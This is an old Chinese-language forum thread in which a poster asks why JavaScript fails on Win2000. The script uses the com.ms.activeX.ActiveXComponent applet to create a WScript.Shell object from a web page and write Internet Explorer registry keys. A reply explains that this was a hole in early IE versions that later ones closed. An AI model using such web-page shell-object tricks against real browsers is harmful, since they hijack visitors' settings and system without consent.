怎样使这段代码Win2000下可用
ap=document.applets[0];
ap.setCLSID("WScript.Shell");
ap.createInstance();
S=ap.GetObject();
regWindowTitle="HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title";
ap=document.applets[0];
ap.setCLSID("WScript.Shell");
ap.createInstance();
S=ap.GetObject();
regWindowTitle="HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title";
您好,问一个问题...
为什么我的机器运行到ap=document.applets[0]就会报错呢?说对象不支持这种属性或方法!
下面是我的代码:
<SCRIPT language=JavaScript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent> ");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\PageSetup\\footer", "com");
}
f();
</script>
请不吝赐教!!
email:
[email protected]
你一定引用了一个com.ms.activeX.ActiveXComponent这样的applet
这个控件本来应该在签名的applet中使用,而不应该直接在网页引用
但是早期的IE版本忽略了这点
可能是你在win2000下使用了新的IE,与操作系统无关
那应该怎么做呢
多少版本以后才堵上了这个漏洞呢?